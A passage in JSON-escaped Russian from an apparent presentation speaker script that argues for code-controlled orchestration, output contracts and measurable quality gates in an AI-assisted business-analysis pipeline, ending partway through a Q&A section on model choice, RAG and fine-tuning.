\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 